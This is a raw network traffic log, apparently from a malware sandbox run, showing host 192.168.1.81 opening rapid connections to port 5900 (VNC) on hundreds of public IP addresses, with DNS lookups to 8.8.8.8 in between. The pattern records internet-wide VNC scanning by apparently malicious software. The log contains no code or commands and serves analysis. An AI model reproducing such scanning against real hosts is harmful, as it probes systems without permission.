Oct 30, 2018 14:44:06.068212032 CET	49356	5900	192.168.1.81	195.126.52.78
Oct 30, 2018 14:44:06.071868896 CET	49446	5900	192.168.1.81	128.75.18.205
Oct 30, 2018 14:44:06.105525017 CET	49447	5900	192.168.1.81	137.62.237.86
Oct 30, 2018 14:44:06.115226030 CET	49357	5900	192.168.1.81	72.218.47.82
Oct 30, 2018 14:44:06.130944014 CET	49358	5900	192.168.1.81	39.107.79.6
Oct 30, 2018 14:44:06.136295080 CET	49448	5900	192.168.1.81	134.76.242.197
Oct 30, 2018 14:44:06.162264109 CET	49359	5900	192.168.1.81	159.68.187.184
Oct 30, 2018 14:44:06.166100979 CET	49449	5900	192.168.1.81	141.175.178.22
Oct 30, 2018 14:44:06.224976063 CET	49360	5900	192.168.1.81	155.119.8.38
Oct 30, 2018 14:44:06.228707075 CET	49450	5900	192.168.1.81	72.179.145.123
Oct 30, 2018 14:44:06.271955013 CET	49361	5900	192.168.1.81	78.166.245.178
Oct 30, 2018 14:44:06.286897898 CET	49362	5900	192.168.1.81	187.15.61.69
Oct 30, 2018 14:44:06.293713093 CET	49451	5900	192.168.1.81	33.158.32.57
Oct 30, 2018 14:44:06.318212032 CET	49363	5900	192.168.1.81	158.5.218.248
Oct 30, 2018 14:44:06.321306944 CET	49452	5900	192.168.1.81	38.207.28.83
Oct 30, 2018 14:44:06.349631071 CET	49364	5900	192.168.1.81	92.41.151.61
Oct 30, 2018 14:44:06.354523897 CET	49453	5900	192.168.1.81	61.133.159.116
Oct 30, 2018 14:44:06.381067038 CET	49365	5900	192.168.1.81	61.225.54.99
Oct 30, 2018 14:44:06.386843920 CET	49454	5900	192.168.1.81	56.157.19.2
Oct 30, 2018 14:44:06.412475109 CET	49366	5900	192.168.1.81	85.36.9.215
Oct 30, 2018 14:44:06.417463064 CET	49455	5900	192.168.1.81	191.115.28.235
Oct 30, 2018 14:44:06.448749065 CET	49456	5900	192.168.1.81	200.135.156.78
Oct 30, 2018 14:44:06.459527969 CET	49367	5900	192.168.1.81	153.138.117.104
Oct 30, 2018 14:44:06.479825974 CET	49457	5900	192.168.1.81	193.177.207.169
Oct 30, 2018 14:44:06.488668919 CET	53	55275	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:06.490832090 CET	49368	5900	192.168.1.81	80.228.25.44
Oct 30, 2018 14:44:06.510492086 CET	49458	5900	192.168.1.81	190.184.158.11
Oct 30, 2018 14:44:06.521456957 CET	49369	5900	192.168.1.81	113.198.162.79
Oct 30, 2018 14:44:06.541975021 CET	49459	5900	192.168.1.81	93.29.96.65
Oct 30, 2018 14:44:06.552814007 CET	49370	5900	192.168.1.81	203.44.32.107
Oct 30, 2018 14:44:06.577874899 CET	49460	5900	192.168.1.81	135.240.151.221
Oct 30, 2018 14:44:06.599531889 CET	49371	5900	192.168.1.81	60.123.81.171
Oct 30, 2018 14:44:06.603367090 CET	49461	5900	192.168.1.81	128.140.101.42
Oct 30, 2018 14:44:06.630940914 CET	49372	5900	192.168.1.81	52.107.128.68
Oct 30, 2018 14:44:06.635960102 CET	49462	5900	192.168.1.81	86.117.196.219
Oct 30, 2018 14:44:06.662236929 CET	49373	5900	192.168.1.81	109.15.20.77
Oct 30, 2018 14:44:06.666661024 CET	49463	5900	192.168.1.81	134.73.191.26
Oct 30, 2018 14:44:06.693221092 CET	49374	5900	192.168.1.81	126.4.62.168
Oct 30, 2018 14:44:06.699178934 CET	49464	5900	192.168.1.81	136.12.46.50
Oct 30, 2018 14:44:06.724659920 CET	49375	5900	192.168.1.81	40.98.166.107
Oct 30, 2018 14:44:06.729696989 CET	49465	5900	192.168.1.81	121.147.195.125
Oct 30, 2018 14:44:06.756010056 CET	49376	5900	192.168.1.81	209.33.212.253
Oct 30, 2018 14:44:06.763745070 CET	49466	5900	192.168.1.81	73.12.234.98
Oct 30, 2018 14:44:06.790492058 CET	49467	5900	192.168.1.81	110.57.49.117
Oct 30, 2018 14:44:06.803232908 CET	49377	5900	192.168.1.81	76.71.158.227
Oct 30, 2018 14:44:06.818780899 CET	49378	5900	192.168.1.81	121.208.187.128
Oct 30, 2018 14:44:06.821335077 CET	49468	5900	192.168.1.81	61.123.203.140
Oct 30, 2018 14:44:06.849400043 CET	49379	5900	192.168.1.81	203.138.169.226
Oct 30, 2018 14:44:06.855411053 CET	49469	5900	192.168.1.81	71.188.122.109
Oct 30, 2018 14:44:06.858349085 CET	5900	49463	134.73.191.26	192.168.1.81
Oct 30, 2018 14:44:06.880975008 CET	49380	5900	192.168.1.81	186.70.119.238
Oct 30, 2018 14:44:06.885739088 CET	49470	5900	192.168.1.81	76.191.68.201
Oct 30, 2018 14:44:06.914581060 CET	49471	5900	192.168.1.81	55.139.95.63
Oct 30, 2018 14:44:06.947367907 CET	49472	5900	192.168.1.81	131.216.179.148
Oct 30, 2018 14:44:06.992882967 CET	49792	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:06.994767904 CET	49473	5900	192.168.1.81	204.196.85.94
Oct 30, 2018 14:44:07.009408951 CET	49474	5900	192.168.1.81	121.50.105.199
Oct 30, 2018 14:44:07.029288054 CET	53	49792	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:07.037436008 CET	49381	5900	192.168.1.81	197.25.94.114
Oct 30, 2018 14:44:07.037534952 CET	49382	5900	192.168.1.81	160.43.40.28
Oct 30, 2018 14:44:07.037569046 CET	49383	5900	192.168.1.81	177.149.161.151
Oct 30, 2018 14:44:07.041124105 CET	49475	5900	192.168.1.81	60.16.188.36
Oct 30, 2018 14:44:07.060262918 CET	5900	49465	121.147.195.125	192.168.1.81
Oct 30, 2018 14:44:07.068284035 CET	49385	5900	192.168.1.81	198.148.181.221
Oct 30, 2018 14:44:07.099664927 CET	49386	5900	192.168.1.81	173.148.64.12
Oct 30, 2018 14:44:07.104721069 CET	49476	5900	192.168.1.81	133.130.110.25
Oct 30, 2018 14:44:07.131025076 CET	49387	5900	192.168.1.81	94.116.124.206
Oct 30, 2018 14:44:07.135524035 CET	49477	5900	192.168.1.81	67.174.96.104
Oct 30, 2018 14:44:07.162019014 CET	49388	5900	192.168.1.81	180.47.249.220
Oct 30, 2018 14:44:07.166300058 CET	49478	5900	192.168.1.81	197.24.144.94
Oct 30, 2018 14:44:07.193533897 CET	49389	5900	192.168.1.81	106.141.74.41
Oct 30, 2018 14:44:07.211112976 CET	49479	5900	192.168.1.81	156.225.143.140
Oct 30, 2018 14:44:07.224952936 CET	49390	5900	192.168.1.81	183.254.232.218
Oct 30, 2018 14:44:07.228362083 CET	49480	5900	192.168.1.81	58.53.189.27
Oct 30, 2018 14:44:07.256355047 CET	49391	5900	192.168.1.81	181.71.51.25
Oct 30, 2018 14:44:07.297379971 CET	49481	5900	192.168.1.81	173.128.179.102
Oct 30, 2018 14:44:07.302861929 CET	49482	5900	192.168.1.81	103.67.132.132
Oct 30, 2018 14:44:07.303195953 CET	49392	5900	192.168.1.81	51.174.174.51
Oct 30, 2018 14:44:07.318938971 CET	49393	5900	192.168.1.81	126.50.46.8
Oct 30, 2018 14:44:07.321644068 CET	49483	5900	192.168.1.81	94.211.218.130
Oct 30, 2018 14:44:07.349586010 CET	49394	5900	192.168.1.81	166.218.10.183
Oct 30, 2018 14:44:07.353470087 CET	49484	5900	192.168.1.81	186.209.40.234
Oct 30, 2018 14:44:07.365252972 CET	49463	5900	192.168.1.81	134.73.191.26
Oct 30, 2018 14:44:07.380971909 CET	49395	5900	192.168.1.81	113.187.129.114
Oct 30, 2018 14:44:07.385169983 CET	49485	5900	192.168.1.81	83.186.124.117
Oct 30, 2018 14:44:07.412467957 CET	49396	5900	192.168.1.81	84.198.116.130
Oct 30, 2018 14:44:07.415968895 CET	49486	5900	192.168.1.81	64.82.60.222
Oct 30, 2018 14:44:07.448508978 CET	49487	5900	192.168.1.81	200.222.188.208
Oct 30, 2018 14:44:07.459553957 CET	49397	5900	192.168.1.81	150.103.138.85
Oct 30, 2018 14:44:07.475207090 CET	49398	5900	192.168.1.81	209.161.7.40
Oct 30, 2018 14:44:07.505831957 CET	49399	5900	192.168.1.81	182.158.70.163
Oct 30, 2018 14:44:07.510524988 CET	49488	5900	192.168.1.81	77.142.119.18
Oct 30, 2018 14:44:07.538192034 CET	64450	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:07.552956104 CET	49400	5900	192.168.1.81	160.97.52.121
Oct 30, 2018 14:44:07.561573029 CET	5900	49463	134.73.191.26	192.168.1.81
Oct 30, 2018 14:44:07.568640947 CET	49465	5900	192.168.1.81	121.147.195.125
Oct 30, 2018 14:44:07.568757057 CET	49401	5900	192.168.1.81	200.147.181.216
Oct 30, 2018 14:44:07.570357084 CET	53	64450	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:07.573033094 CET	49489	5900	192.168.1.81	135.144.38.183
Oct 30, 2018 14:44:07.600202084 CET	49402	5900	192.168.1.81	171.36.80.87
Oct 30, 2018 14:44:07.623642921 CET	49490	5900	192.168.1.81	99.159.95.6
Oct 30, 2018 14:44:07.638900042 CET	49491	5900	192.168.1.81	122.154.16.84
Oct 30, 2018 14:44:07.646684885 CET	49403	5900	192.168.1.81	201.167.15.141
Oct 30, 2018 14:44:07.665642023 CET	49492	5900	192.168.1.81	65.160.161.13
Oct 30, 2018 14:44:07.697349072 CET	49493	5900	192.168.1.81	37.75.69.187
Oct 30, 2018 14:44:07.728574038 CET	49494	5900	192.168.1.81	138.165.167.74
Oct 30, 2018 14:44:07.756488085 CET	49404	5900	192.168.1.81	132.42.107.147
Oct 30, 2018 14:44:07.756628036 CET	49405	5900	192.168.1.81	68.114.60.162
Oct 30, 2018 14:44:07.756664991 CET	49406	5900	192.168.1.81	138.91.117.103
Oct 30, 2018 14:44:07.761209965 CET	49495	5900	192.168.1.81	190.184.244.189
Oct 30, 2018 14:44:07.790630102 CET	49496	5900	192.168.1.81	87.209.235.36
Oct 30, 2018 14:44:07.803236008 CET	49407	5900	192.168.1.81	166.93.187.238
Oct 30, 2018 14:44:07.818851948 CET	49408	5900	192.168.1.81	144.227.244.78
Oct 30, 2018 14:44:07.822315931 CET	49497	5900	192.168.1.81	91.147.13.113
Oct 30, 2018 14:44:07.849471092 CET	49409	5900	192.168.1.81	195.185.175.65
Oct 30, 2018 14:44:07.852979898 CET	49498	5900	192.168.1.81	86.100.161.111
Oct 30, 2018 14:44:07.880867004 CET	49410	5900	192.168.1.81	141.133.191.245
Oct 30, 2018 14:44:07.886558056 CET	49499	5900	192.168.1.81	186.206.165.12
Oct 30, 2018 14:44:07.910687923 CET	5900	49465	121.147.195.125	192.168.1.81
Oct 30, 2018 14:44:07.912205935 CET	49411	5900	192.168.1.81	139.149.254.145
Oct 30, 2018 14:44:07.915400982 CET	49500	5900	192.168.1.81	47.237.209.23
Oct 30, 2018 14:44:07.943552017 CET	49412	5900	192.168.1.81	125.188.142.96
Oct 30, 2018 14:44:07.951286077 CET	49501	5900	192.168.1.81	150.228.74.207
Oct 30, 2018 14:44:07.975136995 CET	49413	5900	192.168.1.81	47.246.249.225
Oct 30, 2018 14:44:07.978266954 CET	49502	5900	192.168.1.81	74.153.193.74
Oct 30, 2018 14:44:08.005784035 CET	49414	5900	192.168.1.81	200.54.202.11
Oct 30, 2018 14:44:08.008807898 CET	49503	5900	192.168.1.81	139.31.3.131
Oct 30, 2018 14:44:08.036969900 CET	49415	5900	192.168.1.81	134.30.209.69
Oct 30, 2018 14:44:08.039746046 CET	49504	5900	192.168.1.81	90.4.174.193
Oct 30, 2018 14:44:08.068356037 CET	49463	5900	192.168.1.81	134.73.191.26
Oct 30, 2018 14:44:08.068454027 CET	49416	5900	192.168.1.81	35.22.36.138
Oct 30, 2018 14:44:08.082632065 CET	59288	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:08.085267067 CET	49505	5900	192.168.1.81	66.124.182.128
Oct 30, 2018 14:44:08.100111008 CET	49417	5900	192.168.1.81	202.231.153.47
Oct 30, 2018 14:44:08.103684902 CET	49506	5900	192.168.1.81	157.31.205.147
Oct 30, 2018 14:44:08.131323099 CET	49418	5900	192.168.1.81	45.230.66.38
Oct 30, 2018 14:44:08.134005070 CET	49507	5900	192.168.1.81	94.25.220.198
Oct 30, 2018 14:44:08.150563002 CET	5900	49499	186.206.165.12	192.168.1.81
Oct 30, 2018 14:44:08.161967039 CET	49419	5900	192.168.1.81	66.196.165.221
Oct 30, 2018 14:44:08.165365934 CET	49508	5900	192.168.1.81	206.40.50.17
Oct 30, 2018 14:44:08.197362900 CET	49509	5900	192.168.1.81	132.47.255.47
Oct 30, 2018 14:44:08.209028006 CET	49420	5900	192.168.1.81	207.154.70.131
Oct 30, 2018 14:44:08.228960037 CET	49510	5900	192.168.1.81	90.179.230.189
Oct 30, 2018 14:44:08.256069899 CET	49421	5900	192.168.1.81	163.196.176.68
Oct 30, 2018 14:44:08.256161928 CET	49422	5900	192.168.1.81	97.26.27.93
Oct 30, 2018 14:44:08.259932041 CET	49511	5900	192.168.1.81	92.167.9.160
Oct 30, 2018 14:44:08.264031887 CET	5900	49463	134.73.191.26	192.168.1.81
Oct 30, 2018 14:44:08.303121090 CET	49423	5900	192.168.1.81	131.38.211.145
Oct 30, 2018 14:44:08.318178892 CET	49424	5900	192.168.1.81	128.221.146.210
Oct 30, 2018 14:44:08.321832895 CET	49512	5900	192.168.1.81	186.178.226.90
Oct 30, 2018 14:44:08.333960056 CET	5900	49495	190.184.244.189	192.168.1.81
Oct 30, 2018 14:44:08.349569082 CET	49425	5900	192.168.1.81	161.1.209.192
Oct 30, 2018 14:44:08.353271961 CET	49513	5900	192.168.1.81	160.80.155.191
Oct 30, 2018 14:44:08.380938053 CET	49426	5900	192.168.1.81	206.161.91.63
Oct 30, 2018 14:44:08.386373997 CET	49514	5900	192.168.1.81	158.255.106.211
Oct 30, 2018 14:44:08.412297010 CET	49427	5900	192.168.1.81	63.126.169.65
Oct 30, 2018 14:44:08.412370920 CET	49465	5900	192.168.1.81	121.147.195.125
Oct 30, 2018 14:44:08.416945934 CET	49515	5900	192.168.1.81	202.67.125.114
Oct 30, 2018 14:44:08.443537951 CET	49428	5900	192.168.1.81	204.163.187.163
Oct 30, 2018 14:44:08.448292971 CET	49516	5900	192.168.1.81	81.242.47.162
Oct 30, 2018 14:44:08.474946022 CET	49429	5900	192.168.1.81	194.152.8.30
Oct 30, 2018 14:44:08.481772900 CET	49517	5900	192.168.1.81	101.118.118.229
Oct 30, 2018 14:44:08.509332895 CET	49518	5900	192.168.1.81	202.246.6.115
Oct 30, 2018 14:44:08.510214090 CET	5900	49485	83.186.124.117	192.168.1.81
Oct 30, 2018 14:44:08.516493082 CET	53	59288	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:08.541589975 CET	49519	5900	192.168.1.81	101.175.95.116
Oct 30, 2018 14:44:08.568444014 CET	49430	5900	192.168.1.81	190.248.248.205
Oct 30, 2018 14:44:08.572931051 CET	49520	5900	192.168.1.81	197.94.226.26
Oct 30, 2018 14:44:08.584085941 CET	49431	5900	192.168.1.81	115.181.34.18
Oct 30, 2018 14:44:08.599796057 CET	49432	5900	192.168.1.81	207.219.240.120
Oct 30, 2018 14:44:08.605592966 CET	49521	5900	192.168.1.81	86.126.145.37
Oct 30, 2018 14:44:08.631109953 CET	49433	5900	192.168.1.81	195.210.96.129
Oct 30, 2018 14:44:08.636210918 CET	49522	5900	192.168.1.81	183.203.146.39
Oct 30, 2018 14:44:08.662477016 CET	49499	5900	192.168.1.81	186.206.165.12
Oct 30, 2018 14:44:08.662568092 CET	49434	5900	192.168.1.81	93.5.168.228
Oct 30, 2018 14:44:08.667896986 CET	49523	5900	192.168.1.81	200.53.191.23
Oct 30, 2018 14:44:08.697243929 CET	49435	5900	192.168.1.81	168.177.91.251
Oct 30, 2018 14:44:08.702167034 CET	49524	5900	192.168.1.81	100.184.51.149
Oct 30, 2018 14:44:08.724709988 CET	49436	5900	192.168.1.81	173.200.67.228
Oct 30, 2018 14:44:08.729651928 CET	49525	5900	192.168.1.81	183.234.162.103
Oct 30, 2018 14:44:08.751554012 CET	5900	49465	121.147.195.125	192.168.1.81
Oct 30, 2018 14:44:08.756045103 CET	49437	5900	192.168.1.81	201.105.152.180
Oct 30, 2018 14:44:08.761123896 CET	49526	5900	192.168.1.81	64.123.9.3
Oct 30, 2018 14:44:08.790725946 CET	49527	5900	192.168.1.81	101.22.233.62
Oct 30, 2018 14:44:08.803042889 CET	49438	5900	192.168.1.81	181.32.70.86
Oct 30, 2018 14:44:08.818727016 CET	49439	5900	192.168.1.81	40.89.201.212
Oct 30, 2018 14:44:08.825738907 CET	49528	5900	192.168.1.81	178.235.31.124
Oct 30, 2018 14:44:08.834353924 CET	49495	5900	192.168.1.81	190.184.244.189
Oct 30, 2018 14:44:08.857207060 CET	49529	5900	192.168.1.81	103.179.13.92
Oct 30, 2018 14:44:08.865046978 CET	49440	5900	192.168.1.81	104.81.100.187
Oct 30, 2018 14:44:08.880959988 CET	49441	5900	192.168.1.81	84.84.62.86
Oct 30, 2018 14:44:08.885957003 CET	49530	5900	192.168.1.81	112.141.51.213
Oct 30, 2018 14:44:08.911959887 CET	49442	5900	192.168.1.81	76.166.148.91
Oct 30, 2018 14:44:08.918366909 CET	49531	5900	192.168.1.81	187.247.93.61
Oct 30, 2018 14:44:08.940270901 CET	5900	49499	186.206.165.12	192.168.1.81
Oct 30, 2018 14:44:08.943316936 CET	49443	5900	192.168.1.81	141.99.37.109
Oct 30, 2018 14:44:08.947105885 CET	49532	5900	192.168.1.81	89.82.125.24
Oct 30, 2018 14:44:08.980094910 CET	49533	5900	192.168.1.81	57.155.113.75
Oct 30, 2018 14:44:09.022042990 CET	49444	5900	192.168.1.81	36.18.29.135
Oct 30, 2018 14:44:09.022123098 CET	49485	5900	192.168.1.81	83.186.124.117
Oct 30, 2018 14:44:09.024504900 CET	56334	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:09.026460886 CET	49534	5900	192.168.1.81	166.101.58.119
Oct 30, 2018 14:44:09.036962986 CET	49445	5900	192.168.1.81	130.39.25.237
Oct 30, 2018 14:44:09.039518118 CET	49535	5900	192.168.1.81	186.45.222.33
Oct 30, 2018 14:44:09.068377018 CET	49446	5900	192.168.1.81	128.75.18.205
Oct 30, 2018 14:44:09.071974039 CET	49536	5900	192.168.1.81	38.141.16.227
Oct 30, 2018 14:44:09.099782944 CET	49447	5900	192.168.1.81	137.62.237.86
Oct 30, 2018 14:44:09.101088047 CET	53	56334	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:09.105453968 CET	49537	5900	192.168.1.81	187.252.63.222
Oct 30, 2018 14:44:09.110285044 CET	5900	49485	83.186.124.117	192.168.1.81
Oct 30, 2018 14:44:09.111638069 CET	5900	49495	190.184.244.189	192.168.1.81
Oct 30, 2018 14:44:09.131107092 CET	49448	5900	192.168.1.81	134.76.242.197
Oct 30, 2018 14:44:09.138652086 CET	49538	5900	192.168.1.81	77.21.59.155
Oct 30, 2018 14:44:09.162348986 CET	49449	5900	192.168.1.81	141.175.178.22
Oct 30, 2018 14:44:09.165163040 CET	49539	5900	192.168.1.81	148.139.10.136
Oct 30, 2018 14:44:09.196723938 CET	49540	5900	192.168.1.81	129.81.17.221
Oct 30, 2018 14:44:09.224395990 CET	49450	5900	192.168.1.81	72.179.145.123
Oct 30, 2018 14:44:09.227498055 CET	49541	5900	192.168.1.81	142.25.63.251
Oct 30, 2018 14:44:09.259625912 CET	49542	5900	192.168.1.81	80.40.208.31
Oct 30, 2018 14:44:09.326869011 CET	49543	5900	192.168.1.81	68.181.94.239
Oct 30, 2018 14:44:09.332607031 CET	49544	5900	192.168.1.81	200.55.68.86
Oct 30, 2018 14:44:09.349858999 CET	49451	5900	192.168.1.81	33.158.32.57
Oct 30, 2018 14:44:09.349924088 CET	49452	5900	192.168.1.81	38.207.28.83
Oct 30, 2018 14:44:09.349951029 CET	49453	5900	192.168.1.81	61.133.159.116
Oct 30, 2018 14:44:09.353686094 CET	49545	5900	192.168.1.81	131.234.171.11
Oct 30, 2018 14:44:09.418507099 CET	49546	5900	192.168.1.81	38.113.207.2
Oct 30, 2018 14:44:09.443943024 CET	49454	5900	192.168.1.81	56.157.19.2
Oct 30, 2018 14:44:09.444041014 CET	49455	5900	192.168.1.81	191.115.28.235
Oct 30, 2018 14:44:09.444087982 CET	49456	5900	192.168.1.81	200.135.156.78
Oct 30, 2018 14:44:09.444196939 CET	49499	5900	192.168.1.81	186.206.165.12
Oct 30, 2018 14:44:09.448024035 CET	49547	5900	192.168.1.81	95.140.134.190
Oct 30, 2018 14:44:09.479552984 CET	49548	5900	192.168.1.81	134.245.186.203
Oct 30, 2018 14:44:09.510076046 CET	49549	5900	192.168.1.81	99.124.155.104
Oct 30, 2018 14:44:09.543634892 CET	49550	5900	192.168.1.81	151.115.218.101
Oct 30, 2018 14:44:09.552788973 CET	49457	5900	192.168.1.81	193.177.207.169
Oct 30, 2018 14:44:09.552858114 CET	49458	5900	192.168.1.81	190.184.158.11
Oct 30, 2018 14:44:09.552895069 CET	49459	5900	192.168.1.81	93.29.96.65
Oct 30, 2018 14:44:09.571801901 CET	49551	5900	192.168.1.81	180.163.94.252
Oct 30, 2018 14:44:09.616688967 CET	49222	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:09.618985891 CET	49552	5900	192.168.1.81	58.148.45.35
Oct 30, 2018 14:44:09.634820938 CET	49553	5900	192.168.1.81	157.21.159.140
Oct 30, 2018 14:44:09.646740913 CET	49460	5900	192.168.1.81	135.240.151.221
Oct 30, 2018 14:44:09.646800995 CET	49461	5900	192.168.1.81	128.140.101.42
Oct 30, 2018 14:44:09.646821022 CET	49485	5900	192.168.1.81	83.186.124.117
Oct 30, 2018 14:44:09.646850109 CET	49495	5900	192.168.1.81	190.184.244.189
Oct 30, 2018 14:44:09.646873951 CET	49462	5900	192.168.1.81	86.117.196.219
Oct 30, 2018 14:44:09.669361115 CET	49554	5900	192.168.1.81	161.49.141.146
Oct 30, 2018 14:44:09.696881056 CET	49555	5900	192.168.1.81	43.32.11.55
Oct 30, 2018 14:44:09.727027893 CET	49556	5900	192.168.1.81	62.202.100.237
Oct 30, 2018 14:44:09.734699965 CET	5900	49499	186.206.165.12	192.168.1.81
Oct 30, 2018 14:44:09.740082979 CET	49464	5900	192.168.1.81	136.12.46.50
Oct 30, 2018 14:44:09.750053883 CET	5900	49485	83.186.124.117	192.168.1.81
Oct 30, 2018 14:44:09.763665915 CET	49557	5900	192.168.1.81	130.222.122.234
Oct 30, 2018 14:44:09.771317005 CET	49466	5900	192.168.1.81	73.12.234.98
Oct 30, 2018 14:44:09.790034056 CET	49558	5900	192.168.1.81	108.174.30.30
Oct 30, 2018 14:44:09.802598953 CET	49467	5900	192.168.1.81	110.57.49.117
Oct 30, 2018 14:44:09.818237066 CET	49468	5900	192.168.1.81	61.123.203.140
Oct 30, 2018 14:44:09.822572947 CET	49559	5900	192.168.1.81	34.78.21.166
Oct 30, 2018 14:44:09.849543095 CET	49469	5900	192.168.1.81	71.188.122.109
Oct 30, 2018 14:44:09.853416920 CET	49560	5900	192.168.1.81	104.147.238.205
Oct 30, 2018 14:44:09.880839109 CET	49470	5900	192.168.1.81	76.191.68.201
Oct 30, 2018 14:44:09.883750916 CET	53	49222	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:09.885880947 CET	49561	5900	192.168.1.81	103.133.63.225
Oct 30, 2018 14:44:09.912353039 CET	49471	5900	192.168.1.81	55.139.95.63
Oct 30, 2018 14:44:09.936042070 CET	49562	5900	192.168.1.81	105.211.116.139
Oct 30, 2018 14:44:09.943814993 CET	49472	5900	192.168.1.81	131.216.179.148
Oct 30, 2018 14:44:09.951514006 CET	5900	49495	190.184.244.189	192.168.1.81
Oct 30, 2018 14:44:09.958242893 CET	49563	5900	192.168.1.81	186.107.93.231
Oct 30, 2018 14:44:09.980993032 CET	49564	5900	192.168.1.81	137.179.22.251
Oct 30, 2018 14:44:10.009133101 CET	49565	5900	192.168.1.81	74.14.98.220
Oct 30, 2018 14:44:10.040190935 CET	49566	5900	192.168.1.81	146.54.193.155
Oct 30, 2018 14:44:10.068464994 CET	49473	5900	192.168.1.81	204.196.85.94
Oct 30, 2018 14:44:10.068533897 CET	49474	5900	192.168.1.81	121.50.105.199
Oct 30, 2018 14:44:10.068559885 CET	49475	5900	192.168.1.81	60.16.188.36
Oct 30, 2018 14:44:10.072557926 CET	49567	5900	192.168.1.81	147.249.176.70
Oct 30, 2018 14:44:10.099807024 CET	49476	5900	192.168.1.81	133.130.110.25
Oct 30, 2018 14:44:10.104367971 CET	49568	5900	192.168.1.81	190.5.241.21
Oct 30, 2018 14:44:10.131139040 CET	49477	5900	192.168.1.81	67.174.96.104
Oct 30, 2018 14:44:10.166804075 CET	49569	5900	192.168.1.81	167.106.137.159
Oct 30, 2018 14:44:10.177998066 CET	49478	5900	192.168.1.81	197.24.144.94
Oct 30, 2018 14:44:10.198117018 CET	49570	5900	192.168.1.81	203.144.83.146
Oct 30, 2018 14:44:10.209346056 CET	49479	5900	192.168.1.81	156.225.143.140
Oct 30, 2018 14:44:10.224987984 CET	49480	5900	192.168.1.81	58.53.189.27
Oct 30, 2018 14:44:10.228863001 CET	49571	5900	192.168.1.81	191.79.248.112
Oct 30, 2018 14:44:10.261173010 CET	49572	5900	192.168.1.81	189.142.94.157
Oct 30, 2018 14:44:10.287982941 CET	49481	5900	192.168.1.81	173.128.179.102
Oct 30, 2018 14:44:10.291310072 CET	49573	5900	192.168.1.81	93.215.55.68
Oct 30, 2018 14:44:10.302517891 CET	49482	5900	192.168.1.81	103.67.132.132
Oct 30, 2018 14:44:10.318172932 CET	49483	5900	192.168.1.81	94.211.218.130
Oct 30, 2018 14:44:10.320981026 CET	49574	5900	192.168.1.81	190.42.146.238
Oct 30, 2018 14:44:10.350195885 CET	49484	5900	192.168.1.81	186.209.40.234
Oct 30, 2018 14:44:10.358293056 CET	49575	5900	192.168.1.81	67.139.12.232
Oct 30, 2018 14:44:10.403215885 CET	50035	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:10.406903028 CET	49576	5900	192.168.1.81	189.49.22.58
Oct 30, 2018 14:44:10.418042898 CET	49577	5900	192.168.1.81	74.133.40.101
Oct 30, 2018 14:44:10.440522909 CET	53	50035	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:10.446970940 CET	49578	5900	192.168.1.81	110.119.84.159
Oct 30, 2018 14:44:10.471216917 CET	49486	5900	192.168.1.81	64.82.60.222
Oct 30, 2018 14:44:10.471271992 CET	49487	5900	192.168.1.81	200.222.188.208
Oct 30, 2018 14:44:10.511203051 CET	49579	5900	192.168.1.81	174.42.11.171
Oct 30, 2018 14:44:10.571757078 CET	49580	5900	192.168.1.81	164.169.170.220
Oct 30, 2018 14:44:10.584322929 CET	49488	5900	192.168.1.81	77.142.119.18
Oct 30, 2018 14:44:10.584445953 CET	49489	5900	192.168.1.81	135.144.38.183
Oct 30, 2018 14:44:10.604830980 CET	49581	5900	192.168.1.81	171.203.228.25
Oct 30, 2018 14:44:10.635950089 CET	49582	5900	192.168.1.81	96.252.7.64
Oct 30, 2018 14:44:10.667253971 CET	49583	5900	192.168.1.81	98.62.124.90
Oct 30, 2018 14:44:10.693917990 CET	49490	5900	192.168.1.81	99.159.95.6
Oct 30, 2018 14:44:10.694005966 CET	49491	5900	192.168.1.81	122.154.16.84
Oct 30, 2018 14:44:10.694032907 CET	49492	5900	192.168.1.81	65.160.161.13
Oct 30, 2018 14:44:10.694055080 CET	49493	5900	192.168.1.81	37.75.69.187
Oct 30, 2018 14:44:10.698333025 CET	49584	5900	192.168.1.81	96.202.220.29
Oct 30, 2018 14:44:10.729712963 CET	49585	5900	192.168.1.81	94.177.161.119
Oct 30, 2018 14:44:10.742188931 CET	49494	5900	192.168.1.81	138.165.167.74
Oct 30, 2018 14:44:10.756330967 CET	5900	49585	94.177.161.119	192.168.1.81
Oct 30, 2018 14:44:10.759792089 CET	49586	5900	192.168.1.81	74.234.25.46
Oct 30, 2018 14:44:10.795126915 CET	49587	5900	192.168.1.81	88.197.120.156
Oct 30, 2018 14:44:10.802911043 CET	49496	5900	192.168.1.81	87.209.235.36
Oct 30, 2018 14:44:10.818569899 CET	49497	5900	192.168.1.81	91.147.13.113
Oct 30, 2018 14:44:10.823519945 CET	49588	5900	192.168.1.81	75.133.255.108
Oct 30, 2018 14:44:10.849900961 CET	49498	5900	192.168.1.81	86.100.161.111
Oct 30, 2018 14:44:10.854692936 CET	49589	5900	192.168.1.81	59.111.248.93
Oct 30, 2018 14:44:10.884610891 CET	49590	5900	192.168.1.81	204.63.155.232
Oct 30, 2018 14:44:10.912549019 CET	49500	5900	192.168.1.81	47.237.209.23
Oct 30, 2018 14:44:10.917002916 CET	49591	5900	192.168.1.81	132.171.9.219
Oct 30, 2018 14:44:10.943949938 CET	49501	5900	192.168.1.81	150.228.74.207
Oct 30, 2018 14:44:10.949716091 CET	53767	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:10.953581095 CET	49592	5900	192.168.1.81	144.249.125.56
Oct 30, 2018 14:44:10.974493027 CET	49502	5900	192.168.1.81	74.153.193.74
Oct 30, 2018 14:44:10.978698015 CET	49593	5900	192.168.1.81	94.75.224.118
Oct 30, 2018 14:44:10.982006073 CET	53	53767	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:11.005824089 CET	49503	5900	192.168.1.81	139.31.3.131
Oct 30, 2018 14:44:11.010068893 CET	49594	5900	192.168.1.81	111.162.205.236
Oct 30, 2018 14:44:11.040941954 CET	49595	5900	192.168.1.81	107.71.71.139
